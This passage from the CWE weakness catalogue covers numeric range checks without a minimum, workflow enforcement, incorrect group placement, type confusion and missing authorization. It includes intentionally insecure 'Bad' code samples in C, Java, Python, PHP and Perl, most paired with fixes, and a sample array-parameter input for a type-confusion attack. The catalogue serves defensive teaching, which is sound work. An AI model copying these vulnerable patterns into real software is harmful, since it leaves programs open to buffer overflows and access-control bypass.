[REF-788]Ivan Ristic. "Canoe: XSS prevention via context-aware output encoding". 2010 September 4. < https://blog.ivanristic.com/2010/09/introducing-canoe-context-aware-output-encoding-for-xss-prevention.html >.2023-04-07.

[REF-789]Jim Manico. "What is the Future of Automated XSS Defense Tools?". 2011 March 8. < http://software-security.sans.org/downloads/appsec-2011-files/manico-appsec-future-tools.pdf >.

[REF-709]Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". 2007. Syngress.

[REF-725]OWASP. "DOM based XSS Prevention Cheat Sheet". < http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

CWE-839: Numeric Range Comparison Without Minimum Check

Weakness ID : 839
Structure : Simple
Abstraction : Base

Description

The product checks a value to ensure that it is less than or equal to a maximum, but it does not also verify that the value is greater than or equal to the minimum.

Extended Description

Some products use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption.

The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1023	Incomplete Comparison with Missing Factors	1865

Nature	Type	ID	Name	Page
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293
CanPrecede	B	124	Buffer Underwrite ('Buffer Underflow')	326
CanPrecede	V	195	Signed to Unsigned Conversion Error	494
CanPrecede	P	682	Incorrect Calculation	1499

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	2312

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Alternate Terms

Signed comparison : The "signed comparison" term is often used to describe when the product uses a signed variable and checks it to ensure that it is less than a maximum value (typically a maximum buffer size), but does not verify that it is greater than 0.

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Modify Application Data Execute Unauthorized Code or Commands *An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.*	
Availability	DoS: Resource Consumption (Other) *in some contexts, a negative value could lead to resource consumption.*	
Confidentiality Integrity	Modify Memory Read Memory *If a negative value is used to access memory, buffers, or other indexable structures, it could access memory outside the bounds of the buffer.*	

Potential Mitigations

Phase: Implementation

Strategy = Enforcement by Conversion

If the number to be used is always expected to be positive, change the variable type from signed to unsigned or size_t.

Phase: Implementation

Strategy = Input Validation

If the number to be used could have a negative value based on the specification (thus requiring a signed value), but the number should only be positive to preserve code correctness, then include a check to ensure that the value is positive.

Demonstrative Examples

Example 1:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

Example Language: C *(Bad)*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
  ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 2:

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

Example Language: C *(Bad)*

```
int GetUntrustedInt () {
  return(0x0000FFFF);
}
void main (int argc, char **argv) {
  char path[256];
  char *input;
  int i;
  short s;
  unsigned int sz;
  i = GetUntrustedInt();
  s = i;
  /* s is -1 so it passes the safety check - CWE-697 */
  if (s > 256) {
    DiePainfully("go away!\n");
  }
  /* s is sign-extended and saved in sz */
  sz = s;
  /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
  printf("i=%d, s=%d, sz=%u\n", i, s, sz);
  input = GetUserInput("Enter pathname:");
  /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
  (CWE-195), enabling buffer overflow (CWE-119) */
  strncpy(path, input, s);
  path[255] = '\0'; /* don't want CWE-170 */
  printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

Example 3:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C *(Bad)*

```
int getValueFromArray(int *array, int len, int index) {
  int value;
  // check that the array index is less than the maximum
  // length of the array
  if (index < len) {
    // get the value at the specified index of the array
    value = array[index];
  }
  // if array index is invalid then output error message
  // and return value indicating error
  else {
    printf("Value is: %d\n", array[index]);
    value = -1;
  }
  return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C *(Good)*

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...
```

Example 4:

The following code shows a simple BankAccount class with deposit and withdraw methods.

Example Language: Java *(Bad)*

```
public class BankAccount {
  public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
  // variable for bank account balance
  private double accountBalance;
  // constructor for BankAccount
  public BankAccount() {
    accountBalance = 0;
  }
  // method to deposit amount into BankAccount
  public void deposit(double depositAmount) {...}
  // method to withdraw amount from BankAccount
  public void withdraw(double withdrawAmount) {
    if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT) {
      double newBalance = accountBalance - withdrawAmount;
      accountBalance = newBalance;
    }
    else {
      System.err.println("Withdrawal amount exceeds the maximum limit allowed, please try again...");
      ...
    }
  }
  // other methods for accessing the BankAccount object
  ...
}
```

The withdraw method includes a check to ensure that the withdrawal amount does not exceed the maximum limit allowed, however the method does not check to ensure that the withdrawal amount is greater than a minimum value (CWE-129). Performing a range check on a value that does not include a minimum check can have significant security implications, in this case not including a minimum range check can allow a negative value to be used which would cause the financial application using this class to deposit money into the user account rather than withdrawing. In this example the if statement should the modified to include a minimum range check, as shown below.

Example Language: Java *(Good)*

```
public class BankAccount {
  public final int MINIMUM_WITHDRAWAL_LIMIT = 0;
  public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
  ...
  // method to withdraw amount from BankAccount
  public void withdraw(double withdrawAmount) {
    if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT &&
    withdrawAmount > MINIMUM_WITHDRAWAL_LIMIT) {
      ...
```

Note that this example does not protect against concurrent access to the BankAccount balance variable, see CWE-413 and CWE-362.

While it is out of scope for this example, note that the use of doubles or floats in financial calculations may be subject to certain kinds of attacks where attackers use rounding errors to steal money.

Observed Examples

Reference	Description
CVE-2010-1866	Chain: integer overflow (CWE-190) causes a negative signed value, which later bypasses a maximum-only check (CWE-839), leading to heap-based buffer overflow (CWE-122). *https://www.cve.org/CVERecord?id=CVE-2010-1866*
CVE-2009-1099	Chain: 16-bit counter can be interpreted as a negative value, compared to a 32-bit maximum value, leading to buffer under-write. *https://www.cve.org/CVERecord?id=CVE-2009-1099*
CVE-2011-0521	Chain: kernel's lack of a check for a negative value leads to memory corruption. *https://www.cve.org/CVERecord?id=CVE-2011-0521*
CVE-2010-3704	Chain: parser uses atoi() but does not check for a negative value, which can happen on some platforms, leading to buffer under-write. *https://www.cve.org/CVERecord?id=CVE-2010-3704*
CVE-2010-2530	Chain: Negative value stored in an int bypasses a size check and causes allocation of large amounts of memory. *https://www.cve.org/CVERecord?id=CVE-2010-2530*
CVE-2009-3080	Chain: negative offset value to IOCTL bypasses check for maximum index, then used as an array index for buffer under-read. *https://www.cve.org/CVERecord?id=CVE-2009-3080*
CVE-2008-6393	chain: file transfer client performs signed comparison, leading to integer overflow and heap-based buffer overflow. *https://www.cve.org/CVERecord?id=CVE-2008-6393*
CVE-2008-4558	chain: negative ID in media player bypasses check for maximum index, then used as an array index for buffer under-read. *https://www.cve.org/CVERecord?id=CVE-2008-4558*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	1397	Comprehensive Categorization: Comparison	1400	2523

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-841: Improper Enforcement of Behavioral Workflow

Weakness ID : 841
Structure : Simple
Abstraction : Base

Description

The product supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.

Extended Description

By performing actions in an unexpected order, or by omitting steps, an attacker could manipulate the business logic of the product or cause it to enter an invalid state. In some cases, this can also expose resultant weaknesses.

For example, a file-sharing protocol might require that an actor perform separate steps to provide a username, then a password, before being able to transfer files. If the file-sharing server accepts a password command followed by a transfer command, without any username being provided, the product might still perform the transfer.

Note that this is different than CWE-696, which focuses on when the product performs actions in the wrong sequence; this entry is closely related, but it is focused on ensuring that the actor performs actions in the correct sequence.

Workflow-related behaviors include:

- Steps are performed in the expected order.
- Required steps are not omitted.
- Steps are not interrupted.
- Steps are performed in a timely fashion.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1517

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	2432

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	2479
MemberOf	C	438	Behavioral Problems	2326
MemberOf	C	840	Business Logic Errors	2360

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic *An attacker could cause the product to skip critical steps or perform them in the wrong order, bypassing its intended business logic. This can sometimes have security implications.*	

Demonstrative Examples

Example 1:

This code is part of an FTP server and deals with various commands that could be sent by a user. It is intended that a user must successfully login before performing any other action such as retrieving or listing files.

Example Language: Python *(Bad)*

```
def dispatchCommand(command, user, args):
    if command == 'Login':
        loginUser(args)
        return
    # user has requested a file
    if command == 'Retrieve_file':
        if authenticated(user) and ownsFile(user,args):
            sendFile(args)
            return
    if command == 'List_files':
        listFiles(args)
        return
    ...
```

The server correctly avoids sending files to a user that isn't logged in and doesn't own the file. However, the server will incorrectly list the files in any directory without confirming the command came from an authenticated user, and that the user is authorized to see the directory's contents.

Here is a fixed version of the above example:

Example Language: Python *(Good)*

```
def dispatchCommand(command, user, args):
    ...
    if command == 'List_files':
        if authenticated(user) and ownsDirectory(user,args):
            listFiles(args)
            return
    ...
```

Observed Examples

Reference	Description
CVE-2011-0348	Bypass of access/billing restrictions by sending traffic to an unrestricted destination before sending to a restricted destination. *https://www.cve.org/CVERecord?id=CVE-2011-0348*
CVE-2007-3012	Attacker can access portions of a restricted page by canceling out of a dialog. *https://www.cve.org/CVERecord?id=CVE-2007-3012*
CVE-2009-5056	Ticket-tracking system does not enforce a permission setting. *https://www.cve.org/CVERecord?id=CVE-2009-5056*
CVE-2004-2164	Shopping cart does not close a database connection when user restores a previous order, leading to connection exhaustion. *https://www.cve.org/CVERecord?id=CVE-2004-2164*
CVE-2003-0777	Chain: product does not properly handle dropped connections, leading to missing NULL terminator (CWE-170) and segmentation fault. *https://www.cve.org/CVERecord?id=CVE-2003-0777*
CVE-2005-3327	Chain: Authentication bypass by skipping the first startup step as required by the protocol. *https://www.cve.org/CVERecord?id=CVE-2005-3327*
CVE-2004-0829	Chain: File server crashes when sent a "find next" request without an initial "find first." *https://www.cve.org/CVERecord?id=CVE-2004-0829*
CVE-2010-2620	FTP server allows remote attackers to bypass authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands without performing the required login steps first. *https://www.cve.org/CVERecord?id=CVE-2010-2620*
CVE-2005-3296	FTP server allows remote attackers to list arbitrary directories as root by running the LIST command before logging in. *https://www.cve.org/CVERecord?id=CVE-2005-3296*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2372
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2536

Notes

Research Gap

This weakness is typically associated with business logic flaws, except when it produces resultant weaknesses. The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles. Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	40		Insufficient Process Validation

References

[REF-795]Jeremiah Grossman. "Business Logic Flaws and Yahoo Games". 2006 December 8. < https://blog.jeremiahgrossman.com/2006/12/business-logic-flaws.html >.2023-04-07.

[REF-796]Jeremiah Grossman. "Seven Business Logic Flaws That Put Your Website At Risk". 2007 October. < https://docplayer.net/10021793-Seven-business-logic-flaws-that-put-your-website-at-risk.html >.2023-04-07.

[REF-797]WhiteHat Security. "Business Logic Flaws". < https://web.archive.org/web/20080720171327/http://www.whitehatsec.com/home/solutions/BL_auction.html >.2023-04-07.

[REF-806]WASC. "Insufficient Process Validation". < http://projects.webappsec.org/w/page/13246943/Insufficient-Process-Validation >.

[REF-799]Rafal Los and Prajakta Jagdale. "Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic". 2011. < https://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation >.2023-04-07.

[REF-667]Rafal Los. "Real-Life Example of a 'Business Logic Defect' (Screen Shots!)". 2011. < http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581 >.

[REF-801]Viktoria Felmetsger, Ludovico Cavedon, Christopher Kruegel and Giovanni Vigna. "Toward Automated Detection of Logic Vulnerabilities in Web Applications". USENIX Security Symposium 2010. 2010 August. < https://www.usenix.org/legacy/events/sec10/tech/full_papers/Felmetsger.pdf >.2023-04-07.

[REF-802]Faisal Nabi. "Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems". International Journal of Network Security, Vol.12, No.1. 2011. < http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf >.

CWE-842: Placement of User into Incorrect Group

Weakness ID : 842
Structure : Simple
Abstraction : Base

Description

The product or the administrator places a user into an incorrect group.

Extended Description

If the incorrect group has more access or privileges than the intended group, the user might be able to bypass intended security policy to access unexpected resources or perform unexpected actions. The access-control system might not be able to detect malicious usage of this group membership.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	286	Incorrect User Management	691

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2476

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Observed Examples

Reference	Description
CVE-1999-1193	Operating system assigns user to privileged wheel group, allowing the user to gain root privileges. *https://www.cve.org/CVERecord?id=CVE-1999-1193*
CVE-2010-3716	Chain: drafted web request allows the creation of users with arbitrary group membership. *https://www.cve.org/CVERecord?id=CVE-2010-3716*
CVE-2008-5397	Chain: improper processing of configuration options causes users to contain unintended group memberships. *https://www.cve.org/CVERecord?id=CVE-2008-5397*
CVE-2007-6644	CMS does not prevent remote administrators from promoting other users to the administrator group, in violation of the intended security model. *https://www.cve.org/CVERecord?id=CVE-2007-6644*
CVE-2007-3260	Product assigns members to the root group, allowing escalation of privileges. *https://www.cve.org/CVERecord?id=CVE-2007-3260*
CVE-2002-0080	Chain: daemon does not properly clear groups before dropping privileges. *https://www.cve.org/CVERecord?id=CVE-2002-0080*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')

Weakness ID : 843
Structure : Simple
Abstraction : Base

Description

The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Extended Description

When the product accesses the resource using an incompatible type, this could trigger logical errors because the resource does not have expected properties. In languages without memory safety, such as C and C++, type confusion can lead to out-of-bounds memory access.

While this weakness is frequently associated with unions when parsing data with many different embedded object types in C, it can be present in any application that can interpret the same variable or memory location in multiple ways.

This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	704	Incorrect Type Conversion or Cast	1538
PeerOf	B	1287	Improper Validation of Specified Type of Input	2138
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	704	Incorrect Type Conversion or Cast	1538

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	136	Type Errors	2310

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Alternate Terms

Object Type Confusion :

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Confidentiality	Read Memory Modify Memory Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart *When a memory buffer is accessed using the wrong type, it could read or write memory out of the bounds of the buffer, if the allocated buffer is smaller than the type that the code is attempting to access, leading to a crash and possibly code execution.*	

Demonstrative Examples

Example 1:

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

Example Language: C *(Bad)*

```
#define NAME_TYPE 1
#define ID_TYPE 2
struct MessageBuffer
{
  int msgType;
  union {
    char *name;
    int nameID;
  };
};
int main (int argc, char **argv) {
  struct MessageBuffer buf;
  char *defaultMessage = "Hello World";
  buf.msgType = NAME_TYPE;
  buf.name = defaultMessage;
  printf("Pointer of buf.name is %p\n", buf.name);
  /* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it
  could be any value. */
  buf.nameID = (int)(defaultMessage + 1);
  printf("Pointer of buf.name is now %p\n", buf.name);
  if (buf.msgType == NAME_TYPE) {
    printf("Message: %s\n", buf.name);
  }
  else {
    printf("Message: Use ID %d\n", buf.nameID);
  }
}
```

The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.

As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:

```
Pointer of name is 10830
Pointer of name is now 10831
Message: ello World
```

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.

In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

Example 2:

The following PHP code accepts a value, adds 5, and prints the sum.

Example Language: PHP *(Bad)*

```
$value = $_GET['value'];
$sum = $value + 5;
echo "value parameter is '$value'<p>";
echo "SUM is $sum";
```

When called with the following query string:

value=123

the program calculates the sum and prints out:

SUM is 128

However, the attacker could supply a query string such as:

value[]=123

The "[]" array syntax causes $value to be treated as an array type, which then generates a fatal error when calculating $sum:

Fatal error: Unsupported operand types in program.php on line 2

Example 3:

The following Perl code is intended to look up the privileges for user ID's between 0 and 3, by performing an access of the $UserPrivilegeArray reference. It is expected that only userID 3 is an admin (since this is listed in the third element of the array).

Example Language: Perl *(Bad)*

```
my $UserPrivilegeArray = ["user", "user", "admin", "user"];
my $userID = get_current_user_ID();
if ($UserPrivilegeArray eq "user") {
  print "Regular user!\n";
}
else {
  print "Admin!\n";
}
print "\$UserPrivilegeArray = $UserPrivilegeArray\n";
```

In this case, the programmer intended to use "$UserPrivilegeArray->{$userID}" to access the proper position in the array. But because the subscript was omitted, the "user" string was compared to the scalar representation of the $UserPrivilegeArray reference, which might be of the form "ARRAY(0x229e8)" or similar.

Since the logic also "fails open" (CWE-636), the result of this bug is that all users are assigned administrator privileges.

While this is a forced example, it demonstrates how type confusion can have security consequences, even in memory-safe languages.

Observed Examples

Reference	Description
CVE-2010-4577	Type confusion in CSS sequence leads to out-of-bounds read. *https://www.cve.org/CVERecord?id=CVE-2010-4577*
CVE-2011-0611	Size inconsistency allows code execution, first discovered when it was actively exploited in-the-wild. *https://www.cve.org/CVERecord?id=CVE-2011-0611*
CVE-2010-0258	Improperly-parsed file containing records of different types leads to code execution when a memory location is interpreted as a different object than intended. *https://www.cve.org/CVERecord?id=CVE-2010-0258*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2455
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Notes

Applicable Platform

This weakness is possible in any type-unsafe programming language.

Research Gap

Type confusion weaknesses have received some attention by applied researchers and major software vendors for C and C++ code. Some publicly-reported vulnerabilities probably have type confusion as a root-cause weakness, but these may be described as "memory corruption" instead. For other languages, there are very few public reports of type confusion weaknesses. These are probably under-studied. Since many programs rely directly or indirectly on loose typing, a potential "type confusion" behavior might be intentional, possibly requiring more manual analysis.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP39-C	Exact	Do not access a variable through a pointer of an incompatible type

References

[REF-811]Mark Dowd, Ryan Smith and David Dewey. "Attacking Interoperability". 2009. < http://hustlelabs.com/stuff/bh2009_dowd_smith_dewey.pdf >.2023-04-07.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-862: Missing Authorization

Weakness ID : 862
Structure : Simple
Abstraction : Class

Description

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	285	Improper Authorization	684
ParentOf	B	425	Direct Request ('Forced Browsing')	1025
ParentOf	C	638	Not Using Complete Mediation	1404

Nature	Type	ID	Name	Page
ParentOf	B	939	Improper Authorization in Handler for Custom URL Scheme	1840
ParentOf	B	1314	Missing Write Protection for Parametric Data Values	2187

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	425	Direct Request ('Forced Browsing')	1025

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	680

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Often)*

Technology : Database Server *(Prevalence = Often)*

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

Alternate Terms

AuthZ : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *An attacker could read sensitive data, either by reading the data directly from a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to read the data.*	
Integrity	Modify Application Data Modify Files or Directories *An attacker could modify sensitive data, either by writing the data directly to a data store that is not restricted, or by*	

Scope	Impact	Likelihood
	accessing insufficiently-protected, privileged functionality to write the data.	
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism *An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.*	

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness = Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness = Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

